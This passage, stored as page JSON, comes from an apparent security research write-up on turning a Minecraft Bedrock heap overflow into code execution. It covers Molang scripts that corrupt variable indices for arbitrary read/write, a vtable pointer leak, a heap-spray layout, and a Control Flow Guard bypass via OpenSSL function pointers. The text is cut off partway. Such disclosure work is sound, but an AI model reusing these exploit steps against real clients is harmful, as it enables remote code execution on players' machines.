",{"type":23,"tag":37,"props":154409,"children":154411},{"className":154410},[],[154412],{"type":28,"value":1652},{"type":28,"value":154414}," field (in this case, the reconstructed pointer) and writes it to ",{"type":23,"tag":37,"props":154416,"children":154418},{"className":154417},[],[154419],{"type":28,"value":154420},"variable.corrupted_var_map_ptr",{"type":28,"value":154422},", even though the type itself is only a 32-bit float.",{"type":23,"tag":18881,"props":154424,"children":154426},{"id":154425},"finding-misaligned-pointers",[154427],{"type":28,"value":154428},"Finding Misaligned Pointers",{"type":23,"tag":24,"props":154430,"children":154431},{},[154432,154434,154439,154440,154446],{"type":28,"value":154433},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":23,"tag":37,"props":154435,"children":154437},{"className":154436},[],[154438],{"type":28,"value":13943},{"type":28,"value":1361},{"type":23,"tag":37,"props":154441,"children":154443},{"className":154442},[],[154444],{"type":28,"value":154445},"ptr + 2",{"type":28,"value":154447},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":23,"tag":24,"props":154449,"children":154450},{},[154451,154456,154457,154462,154464,154469,154471,154476,154478,154483,154485,154490,154492,154498,154499,154504],{"type":23,"tag":37,"props":154452,"children":154454},{"className":154453},[],[154455],{"type":28,"value":152822},{"type":28,"value":15435},{"type":23,"tag":37,"props":154458,"children":154460},{"className":154459},[],[154461],{"type":28,"value":152845},{"type":28,"value":154463}," found inside every entity object. As noted earlier, a ",{"type":23,"tag":37,"props":154465,"children":154467},{"className":154466},[],[154468],{"type":28,"value":152676},{"type":28,"value":154470}," contains three pointers: ",{"type":23,"tag":37,"props":154472,"children":154474},{"className":154473},[],[154475],{"type":28,"value":149842},{"type":28,"value":154477}," (the start of the allocated buffer), ",{"type":23,"tag":37,"props":154479,"children":154481},{"className":154480},[],[154482],{"type":28,"value":9136},{"type":28,"value":154484}," (just past the last element) and ",{"type":23,"tag":37,"props":154486,"children":154488},{"className":154487},[],[154489],{"type":28,"value":152775},{"type":28,"value":154491}," (the end of the allocated buffer). Because the element type is ",{"type":23,"tag":37,"props":154493,"children":154495},{"className":154494},[],[154496],{"type":28,"value":154497},"uint16_t",{"type":28,"value":102015},{"type":23,"tag":37,"props":154500,"children":154502},{"className":154501},[],[154503],{"type":28,"value":9136},{"type":28,"value":154505}," pointer advances by 2 bytes each time a new element is added.",{"type":23,"tag":24,"props":154507,"children":154508},{},[154509,154511,154516,154518,154524],{"type":28,"value":154510},"We can make the ",{"type":23,"tag":37,"props":154512,"children":154514},{"className":154513},[],[154515],{"type":28,"value":9136},{"type":28,"value":154517}," pointer equal to ",{"type":23,"tag":37,"props":154519,"children":154521},{"className":154520},[],[154522],{"type":28,"value":154523},"cap - 2",{"type":28,"value":154525}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":23,"tag":31,"props":154527,"children":154529},{"code":154528},"                         +-> +---------------+\n                         |   |               |\n                         |   |     . . .     |\n                         |   |               |\n                         |   +-------+-------+\n                         |   | 00 f0 | 00 f1 |\n                         |   +-------+-------+\n                         |   | 00 f2 | 00 f3 |\n                         |   +-------+-------+\n  std::vector\u003Cuint16_t>  |   | 00 f4 | 00 f5 |\n     MolangIndexMap      |   +-------+-------+\n    +----------------+   |   | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+   +-------+-------+\n    +----------------+               ^       ^\nlen | 0x1c54f7a13306 | --------------+       |\n    +----------------+                       |\ncap | 0x1c54f7a13308 | ----------------------+\n    +----------------+                        \n",[154530],{"type":23,"tag":37,"props":154531,"children":154532},{"__ignoreMap":7},[154533],{"type":28,"value":154528},{"type":23,"tag":442,"props":154535,"children":154536},{},[],{"type":23,"tag":24,"props":154538,"children":154539},{},[154540,154542,154547,154549,154554,154556,154561,154563,154568,154569,154574],{"type":28,"value":154541},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":23,"tag":37,"props":154543,"children":154545},{"className":154544},[],[154546],{"type":28,"value":149842},{"type":28,"value":154548}," pointer of ",{"type":23,"tag":37,"props":154550,"children":154552},{"className":154551},[],[154553],{"type":28,"value":152646},{"type":28,"value":154555}," in the entity object above, one that would index ",{"type":23,"tag":37,"props":154557,"children":154559},{"className":154558},[],[154560],{"type":28,"value":9136},{"type":28,"value":154562}," and the final ",{"type":23,"tag":37,"props":154564,"children":154566},{"className":154565},[],[154567],{"type":28,"value":152775},{"type":28,"value":154548},{"type":23,"tag":37,"props":154570,"children":154572},{"className":154571},[],[154573],{"type":28,"value":152822},{"type":28,"value":154575}," also in the same entity object above.",{"type":23,"tag":24,"props":154577,"children":154578},{},[154579,154581,154587,154588,154594,154596,154601,154602,154607,154609,154614,154616,154621,154622,154627,154629,154634],{"type":28,"value":154580},"The corrupted variables ",{"type":23,"tag":37,"props":154582,"children":154584},{"className":154583},[],[154585],{"type":28,"value":154586},"variable.corrupted_len_ptr",{"type":28,"value":1361},{"type":23,"tag":37,"props":154589,"children":154591},{"className":154590},[],[154592],{"type":28,"value":154593},"variable.corrupted_cap_ptr",{"type":28,"value":154595}," point to ",{"type":23,"tag":37,"props":154597,"children":154599},{"className":154598},[],[154600],{"type":28,"value":9136},{"type":28,"value":1361},{"type":23,"tag":37,"props":154603,"children":154605},{"className":154604},[],[154606],{"type":28,"value":152775},{"type":28,"value":154608},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":23,"tag":37,"props":154610,"children":154612},{"className":154611},[],[154613],{"type":28,"value":154420},{"type":28,"value":154615},", points to the ",{"type":23,"tag":37,"props":154617,"children":154619},{"className":154618},[],[154620],{"type":28,"value":149842},{"type":28,"value":153627},{"type":23,"tag":37,"props":154623,"children":154625},{"className":154624},[],[154626],{"type":28,"value":152646},{"type":28,"value":154628},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":23,"tag":37,"props":154630,"children":154632},{"className":154631},[],[154633],{"type":28,"value":152646},{"type":28,"value":154635},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":23,"tag":24,"props":154637,"children":154638},{},[154639],{"type":28,"value":154640},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":23,"tag":18881,"props":154642,"children":154644},{"id":154643},"leaking-pointers",[154645],{"type":28,"value":154646},"Leaking Pointers",{"type":23,"tag":24,"props":154648,"children":154649},{},[154650,154652,154658],{"type":28,"value":154651},"In C++, an object’s first field is typically a ",{"type":23,"tag":37,"props":154653,"children":154655},{"className":154654},[],[154656],{"type":28,"value":154657},"vtable",{"type":28,"value":154659}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":23,"tag":31,"props":154661,"children":154663},{"code":154662},"                                 Entity Object       \n                                                     \n                          +------------+------------+\n                          | vtable ptr |            |\n                          +------------+            |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                      +-> +------------+------------+\n                      |   |    buf     |    len     |\n      MolangIndexMap -+   +------------+------------+\n                      |   |    cap     |            |\n                   +--+-> +------------+------------+\n                   |      |    buf     |    len     |\nMolangVariableMap -+      +------------+------------+\n                   |      |    cap     |            |\n                   +----> +------------+            |\n                          |                         |\n                          +-------------------------+\n",[154664],{"type":23,"tag":37,"props":154665,"children":154666},{"__ignoreMap":7},[154667],{"type":28,"value":154662},{"type":23,"tag":24,"props":154669,"children":154670},{},[154671,154672,154677,154679,154684,154686,154691,154693,154698,154700,154705,154706,154711,154713,154718],{"type":28,"value":16601},{"type":23,"tag":37,"props":154673,"children":154675},{"className":154674},[],[154676],{"type":28,"value":1652},{"type":28,"value":154678}," field inside a ",{"type":23,"tag":37,"props":154680,"children":154682},{"className":154681},[],[154683],{"type":28,"value":152319},{"type":28,"value":154685}," is at offset ",{"type":23,"tag":37,"props":154687,"children":154689},{"className":154688},[],[154690],{"type":28,"value":152580},{"type":28,"value":154692},". We already control a corrupted variable, ",{"type":23,"tag":37,"props":154694,"children":154696},{"className":154695},[],[154697],{"type":28,"value":154586},{"type":28,"value":154699},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":23,"tag":37,"props":154701,"children":154703},{"className":154702},[],[154704],{"type":28,"value":9136},{"type":28,"value":153627},{"type":23,"tag":37,"props":154707,"children":154709},{"className":154708},[],[154710],{"type":28,"value":152822},{"type":28,"value":154712}," by 2 bytes, which in turn advances ",{"type":23,"tag":37,"props":154714,"children":154716},{"className":154715},[],[154717],{"type":28,"value":154586},{"type":28,"value":154719}," by 2 bytes.",{"type":23,"tag":24,"props":154721,"children":154722},{},[154723,154725,154730,154732,154738,154739,154744,154745,154750,154752,154757],{"type":28,"value":154724},"By moving ",{"type":23,"tag":37,"props":154726,"children":154728},{"className":154727},[],[154729],{"type":28,"value":9136},{"type":28,"value":154731}," so it equals ",{"type":23,"tag":37,"props":154733,"children":154735},{"className":154734},[],[154736],{"type":28,"value":154737},"cap - 0x38",{"type":28,"value":102015},{"type":23,"tag":37,"props":154740,"children":154742},{"className":154741},[],[154743],{"type":28,"value":1652},{"type":28,"value":153627},{"type":23,"tag":37,"props":154746,"children":154748},{"className":154747},[],[154749],{"type":28,"value":154586},{"type":28,"value":154751}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":23,"tag":37,"props":154753,"children":154755},{"className":154754},[],[154756],{"type":28,"value":154657},{"type":28,"value":154758}," pointer. We can then capture that pointer with:",{"type":23,"tag":31,"props":154760,"children":154762},{"code":154761},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[154763],{"type":23,"tag":37,"props":154764,"children":154765},{"__ignoreMap":7},[154766],{"type":28,"value":154761},{"type":23,"tag":24,"props":154768,"children":154769},{},[154770,154772,154777,154779,154784,154786,154791,154793,154799],{"type":28,"value":154771},"After saving the leak, we add 27 unseen variables to advance ",{"type":23,"tag":37,"props":154773,"children":154775},{"className":154774},[],[154776],{"type":28,"value":9136},{"type":28,"value":154778}," until it equals ",{"type":23,"tag":37,"props":154780,"children":154782},{"className":154781},[],[154783],{"type":28,"value":154523},{"type":28,"value":154785},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":23,"tag":37,"props":154787,"children":154789},{"className":154788},[],[154790],{"type":28,"value":154657},{"type":28,"value":154792}," address in ",{"type":23,"tag":37,"props":154794,"children":154796},{"className":154795},[],[154797],{"type":28,"value":154798},"variable.saved_vtable_pointer",{"type":28,"value":706},{"type":23,"tag":442,"props":154801,"children":154802},{},[],{"type":23,"tag":24,"props":154804,"children":154805},{},[154806,154808,154813,154815,154821],{"type":28,"value":154807},"A Molang script that performs an arbitrary write of the value ",{"type":23,"tag":37,"props":154809,"children":154811},{"className":154810},[],[154812],{"type":28,"value":43494},{"type":28,"value":154814}," to the address ",{"type":23,"tag":37,"props":154816,"children":154818},{"className":154817},[],[154819],{"type":28,"value":154820},"vtable + 0x1000",{"type":28,"value":154822}," looks like this:",{"type":23,"tag":31,"props":154824,"children":154826},{"code":154825},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[154827],{"type":23,"tag":37,"props":154828,"children":154829},{"__ignoreMap":7},[154830],{"type":28,"value":154825},{"type":23,"tag":18881,"props":154832,"children":154834},{"id":154833},"required-heap-layout",[154835],{"type":28,"value":154836},"Required Heap Layout",{"type":23,"tag":24,"props":154838,"children":154839},{},[154840],{"type":28,"value":154841},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":23,"tag":31,"props":154843,"children":154845},{"code":154844},"    Heap Region 1                Heap Region 2    \n                                                  \n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n",[154846],{"type":23,"tag":37,"props":154847,"children":154848},{"__ignoreMap":7},[154849],{"type":28,"value":154844},{"type":23,"tag":24,"props":154851,"children":154852},{},[154853,154855,154861,154863,154868,154870,154875,154877,154882,154883,154888],{"type":28,"value":154854},"The first region (",{"type":23,"tag":37,"props":154856,"children":154858},{"className":154857},[],[154859],{"type":28,"value":154860},"Heap Region 1",{"type":28,"value":154862},") contains alternating ",{"type":23,"tag":37,"props":154864,"children":154866},{"className":154865},[],[154867],{"type":28,"value":152646},{"type":28,"value":154869},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":23,"tag":37,"props":154871,"children":154873},{"className":154872},[],[154874],{"type":28,"value":152676},{"type":28,"value":154876}," pointers of ",{"type":23,"tag":37,"props":154878,"children":154880},{"className":154879},[],[154881],{"type":28,"value":152646},{"type":28,"value":1361},{"type":23,"tag":37,"props":154884,"children":154886},{"className":154885},[],[154887],{"type":28,"value":152822},{"type":28,"value":154889}," from the entity object for our main attack.",{"type":23,"tag":24,"props":154891,"children":154892},{},[154893,154895,154901,154903,154908,154910,154915,154917,154922,154924,154929],{"type":28,"value":154894},"The second region (",{"type":23,"tag":37,"props":154896,"children":154898},{"className":154897},[],[154899],{"type":28,"value":154900},"Heap Region 2",{"type":28,"value":154902},") contains interleaved ",{"type":23,"tag":37,"props":154904,"children":154906},{"className":154905},[],[154907],{"type":28,"value":152822},{"type":28,"value":154909},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":23,"tag":37,"props":154911,"children":154913},{"className":154912},[],[154914],{"type":28,"value":154657},{"type":28,"value":154916}," pointer into ",{"type":23,"tag":37,"props":154918,"children":154920},{"className":154919},[],[154921],{"type":28,"value":154586},{"type":28,"value":154923}," during our main attack. It could be any object with a ",{"type":23,"tag":37,"props":154925,"children":154927},{"className":154926},[],[154928],{"type":28,"value":154657},{"type":28,"value":154930},", but for simplicity we use the entity object.",{"type":23,"tag":24,"props":154932,"children":154933},{},[154934,154936,154942,154944,154949],{"type":28,"value":154935},"During the attack, overwriting another variable's pointer with\n",{"type":23,"tag":37,"props":154937,"children":154939},{"className":154938},[],[154940],{"type":28,"value":154941},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":28,"value":154943}," will very likely clobber the ",{"type":23,"tag":37,"props":154945,"children":154947},{"className":154946},[],[154948],{"type":28,"value":153142},{"type":28,"value":154950}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":23,"tag":24,"props":154952,"children":154953},{},[154954],{"type":28,"value":154955},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":23,"tag":24,"props":154957,"children":154958},{},[154959],{"type":28,"value":154960},"The final exploit proceeds in three stages:",{"type":23,"tag":5436,"props":154962,"children":154963},{},[154964,154969,154974],{"type":23,"tag":421,"props":154965,"children":154966},{},[154967],{"type":28,"value":154968},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":23,"tag":421,"props":154970,"children":154971},{},[154972],{"type":28,"value":154973},"Perform the heap spray with signs to create the desired layout for the attack",{"type":23,"tag":421,"props":154975,"children":154976},{},[154977],{"type":28,"value":154978},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":23,"tag":18881,"props":154980,"children":154982},{"id":154981},"initial-corruption-variant-lfh-heap-approach",[154983],{"type":28,"value":154984},"Initial Corruption Variant: LFH Heap Approach",{"type":23,"tag":24,"props":154986,"children":154987},{},[154988],{"type":28,"value":154989},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":23,"tag":24,"props":154991,"children":154992},{},[154993,154995,155000,155001,155007],{"type":28,"value":154994},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":23,"tag":37,"props":154996,"children":154998},{"className":154997},[],[154999],{"type":28,"value":152889},{"type":28,"value":6486},{"type":23,"tag":37,"props":155002,"children":155004},{"className":155003},[],[155005],{"type":28,"value":155006},"last_index",{"type":28,"value":155008}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":23,"tag":24,"props":155010,"children":155011},{},[155012,155014,155019,155020,155025,155027,155032,155034,155039,155041,155046,155048,155054,155055,155061,155062,155068],{"type":28,"value":155013},"The main attack can be arranged by making the resulting index point at the ",{"type":23,"tag":37,"props":155015,"children":155017},{"className":155016},[],[155018],{"type":28,"value":149842},{"type":28,"value":153627},{"type":23,"tag":37,"props":155021,"children":155023},{"className":155022},[],[155024],{"type":28,"value":152822},{"type":28,"value":155026},". From there, the script can overwrite three variable indices at offset ",{"type":23,"tag":37,"props":155028,"children":155030},{"className":155029},[],[155031],{"type":28,"value":152580},{"type":28,"value":155033}," within the ",{"type":23,"tag":37,"props":155035,"children":155037},{"className":155036},[],[155038],{"type":28,"value":152822},{"type":28,"value":155040}," by using the string type. This works because a Molang string's value is just a ",{"type":23,"tag":37,"props":155042,"children":155044},{"className":155043},[],[155045],{"type":28,"value":55630},{"type":28,"value":155047}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":23,"tag":37,"props":155049,"children":155051},{"className":155050},[],[155052],{"type":28,"value":155053},"0xfb",{"type":28,"value":970},{"type":23,"tag":37,"props":155056,"children":155058},{"className":155057},[],[155059],{"type":28,"value":155060},"0xfc",{"type":28,"value":1361},{"type":23,"tag":37,"props":155063,"children":155065},{"className":155064},[],[155066],{"type":28,"value":155067},"0xfd",{"type":28,"value":155069}," the script would do:",{"type":23,"tag":31,"props":155071,"children":155073},{"code":155072},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[155074],{"type":23,"tag":37,"props":155075,"children":155076},{"__ignoreMap":7},[155077],{"type":28,"value":155072},{"type":23,"tag":24,"props":155079,"children":155080},{},[155081,155083,155088,155089,155095,155097,155102],{"type":28,"value":155082},"That line would write the ",{"type":23,"tag":37,"props":155084,"children":155086},{"className":155085},[],[155087],{"type":28,"value":55630},{"type":28,"value":2559},{"type":23,"tag":37,"props":155090,"children":155092},{"className":155091},[],[155093],{"type":28,"value":155094},"0x302700fb00fc00fd",{"type":28,"value":155096}," (string's FNV-1 hash) into the allocated ",{"type":23,"tag":37,"props":155098,"children":155100},{"className":155099},[],[155101],{"type":28,"value":152822},{"type":28,"value":155103}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":23,"tag":546,"props":155105,"children":155107},{"id":155106},"hijacking-execution",[155108],{"type":28,"value":155109},"Hijacking Execution",{"type":23,"tag":24,"props":155111,"children":155112},{},[155113,155115,155120,155122,155128],{"type":28,"value":155114},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":23,"tag":37,"props":155116,"children":155118},{"className":155117},[],[155119],{"type":28,"value":154657},{"type":28,"value":155121}," and function pointers in the writable ",{"type":23,"tag":37,"props":155123,"children":155125},{"className":155124},[],[155126],{"type":28,"value":155127},".data",{"type":28,"value":155129}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":23,"tag":24,"props":155131,"children":155132},{},[155133],{"type":28,"value":155134},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":23,"tag":24,"props":155136,"children":155137},{},[155138],{"type":28,"value":155139},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":23,"tag":24,"props":155141,"children":155142},{},[155143],{"type":23,"tag":3918,"props":155144,"children":155146},{"alt":50573,"src":155145},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":23,"tag":24,"props":155148,"children":155149},{},[155150,155152,155158,155160,155166,155168,155173,155175,155180,155182,155188,155190,155195,155197,155203,155205,155210],{"type":28,"value":155151},"This snippet calls a method on an object: ",{"type":23,"tag":37,"props":155153,"children":155155},{"className":155154},[],[155156],{"type":28,"value":155157},"rcx",{"type":28,"value":155159}," holds the object pointer, the first ",{"type":23,"tag":37,"props":155161,"children":155163},{"className":155162},[],[155164],{"type":28,"value":155165},"mov",{"type":28,"value":155167}," loads the object's ",{"type":23,"tag":37,"props":155169,"children":155171},{"className":155170},[],[155172],{"type":28,"value":154657},{"type":28,"value":155174}," into ",{"type":23,"tag":37,"props":155176,"children":155178},{"className":155177},[],[155179],{"type":28,"value":56770},{"type":28,"value":155181},", and the function pointer at ",{"type":23,"tag":37,"props":155183,"children":155185},{"className":155184},[],[155186],{"type":28,"value":155187},"rax + 0x8",{"type":28,"value":155189}," is read into ",{"type":23,"tag":37,"props":155191,"children":155193},{"className":155192},[],[155194],{"type":28,"value":56770},{"type":28,"value":155196},". Finally, ",{"type":23,"tag":37,"props":155198,"children":155200},{"className":155199},[],[155201],{"type":28,"value":155202},"__guard_dispatch_icall_fptr",{"type":28,"value":155204}," is called - this is the CFG dispatch function that validates ",{"type":23,"tag":37,"props":155206,"children":155208},{"className":155207},[],[155209],{"type":28,"value":56770},{"type":28,"value":155211}," as a legal call target before invoking it.",{"type":23,"tag":24,"props":155213,"children":155214},{},[155215],{"type":28,"value":155216},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":23,"tag":24,"props":155218,"children":155219},{},[155220],{"type":23,"tag":3918,"props":155221,"children":155223},{"alt":50573,"src":155222},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":23,"tag":24,"props":155225,"children":155226},{},[155227,155229,155235,155237,155243],{"type":28,"value":155228},"Here, the function pointer at ",{"type":23,"tag":37,"props":155230,"children":155232},{"className":155231},[],[155233],{"type":28,"value":155234},"vtable + 0x10",{"type":28,"value":155236}," is loaded into ",{"type":23,"tag":37,"props":155238,"children":155240},{"className":155239},[],[155241],{"type":28,"value":155242},"rdx",{"type":28,"value":155244}," and then called directly.",{"type":23,"tag":24,"props":155246,"children":155247},{},[155248],{"type":28,"value":155249},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":23,"tag":24,"props":155251,"children":155252},{},[155253,155255,155260],{"type":28,"value":155254},"So the remaining task is to locate OpenSSL function or ",{"type":23,"tag":37,"props":155256,"children":155258},{"className":155257},[],[155259],{"type":28,"value":154657},{"type":28,"value":155261}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":23,"tag":18881,"props":155263,"children":155265},{"id":155264},"locating-overwrite-targets",[155266],{"type":28,"value":155267},"Locating Overwrite Targets",{"type":23,"tag":24,"props":155269,"children":155270},{},[155271,155273,155279,155280,155285,155287,155292,155294,155300],{"type":28,"value":155272},"One of the first targets we identified were the ",{"type":23,"tag":37,"props":155274,"children":155276},{"className":155275},[],[155277],{"type":28,"value":155278},"malloc",{"type":28,"value":1361},{"type":23,"tag":37,"props":155281,"children":155283},{"className":155282},[],[155284],{"type":28,"value":149890},{"type":28,"value":155286}," callbacks. These reside in the ",{"type":23,"tag":37,"props":155288,"children":155290},{"className":155289},[],[155291],{"type":28,"value":155127},{"type":28,"value":155293}," section and are invoked whenever they don’t match the expected ",{"type":23,"tag":37,"props":155295,"children":155297},{"className":155296},[],[155298],{"type":28,"value":155299},"OPENSSL_malloc/free",{"type":28,"value":131748},{"type":23,"tag":24,"props":155302,"children":155303},{},[155304],{"type":23,"tag":3918,"props":155305,"children":155307},{"alt":50573,"src":155306},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":23,"tag":24,"props":155309,"children":155310},{},[155311],{"type":28,"value":155312},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":23,"tag":24,"props":155314,"children":155315},{},[155316,155318,155324,155326,155332,155334,155339],{"type":28,"value":155317},"Later, we found another promising function: ",{"type":23,"tag":37,"props":155319,"children":155321},{"className":155320},[],[155322],{"type":28,"value":155323},"ossl_ec_key_new_method_int",{"type":28,"value":155325},". This function creates and initializes an ",{"type":23,"tag":37,"props":155327,"children":155329},{"className":155328},[],[155330],{"type":28,"value":155331},"EC_KEY",{"type":28,"value":155333}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":23,"tag":37,"props":155335,"children":155337},{"className":155336},[],[155338],{"type":28,"value":155127},{"type":28,"value":155340},") containing function pointers:",{"type":23,"tag":24,"props":155342,"children":155343},{},[155344],{"type":23,"tag":3918,"props":155345,"children":155347},{"alt":50573,"src":155346},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":23,"tag":24,"props":155349,"children":155350},{},[155351,155353,155359,155360,155366,155368,155373,155375,155381,155383,155388,155390,155395,155397,155402],{"type":28,"value":155352},"In the image above, ",{"type":23,"tag":37,"props":155354,"children":155356},{"className":155355},[],[155357],{"type":28,"value":155358},"ret->meth",{"type":28,"value":125212},{"type":23,"tag":37,"props":155361,"children":155363},{"className":155362},[],[155364],{"type":28,"value":155365},"default_ec_key_meth",{"type":28,"value":155367},", which points to a structure of function pointers located in ",{"type":23,"tag":37,"props":155369,"children":155371},{"className":155370},[],[155372],{"type":28,"value":155127},{"type":28,"value":155374},". It then calls ",{"type":23,"tag":37,"props":155376,"children":155378},{"className":155377},[],[155379],{"type":28,"value":155380},"ret->meth->init",{"type":28,"value":155382},", passing the ",{"type":23,"tag":37,"props":155384,"children":155386},{"className":155385},[],[155387],{"type":28,"value":17680},{"type":28,"value":155389}," pointer (",{"type":23,"tag":37,"props":155391,"children":155393},{"className":155392},[],[155394],{"type":28,"value":10987},{"type":28,"value":155396},"). This alone isn’t especially useful because ",{"type":23,"tag":37,"props":155398,"children":155400},{"className":155399},[],[155401],{"type":28,"value":10987},{"type":28,"value":155403}," is heap-allocated.",{"type":23,"tag":24,"props":155405,"children":155406},{},[155407,155409,155414],{"type":28,"value":155408},"But, if we look at how ",{"type":23,"tag":37,"props":155410,"children":155412},{"className":155411},[],[155413],{"type":28,"value":155380},{"type":28,"value":155415}," is invoked in the disassembly:",{"type":23,"tag":24,"props":155417,"children":155418},{},[155419],{"type":23,"tag":3918,"props":155420,"children":155422},{"alt":50573,"src":155421},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":23,"tag":24,"props":155424,"children":155425},{},[155426,155427,155432,155434,155439,155441,155446,155448,155453,155455,155460,155462,155467,155469,155474,155476,155482],{"type":28,"value":7479},{"type":23,"tag":37,"props":155428,"children":155430},{"className":155429},[],[155431],{"type":28,"value":155380},{"type":28,"value":155433}," is not ",{"type":23,"tag":37,"props":155435,"children":155437},{"className":155436},[],[155438],{"type":28,"value":54491},{"type":28,"value":155440},", it is called while ",{"type":23,"tag":37,"props":155442,"children":155444},{"className":155443},[],[155445],{"type":28,"value":56770},{"type":28,"value":155447}," still contains the value of ",{"type":23,"tag":37,"props":155449,"children":155451},{"className":155450},[],[155452],{"type":28,"value":155358},{"type":28,"value":155454}," - that is, a pointer to the structure in ",{"type":23,"tag":37,"props":155456,"children":155458},{"className":155457},[],[155459],{"type":28,"value":155127},{"type":28,"value":155461}," that we control. This is ideal, because we can overwrite ",{"type":23,"tag":37,"props":155463,"children":155465},{"className":155464},[],[155466],{"type":28,"value":155365},{"type":28,"value":155468}," with a pointer to a region in ",{"type":23,"tag":37,"props":155470,"children":155472},{"className":155471},[],[155473],{"type":28,"value":155127},{"type":28,"value":155475}," where our ROP chain is located, and then perform a stack pivot using a 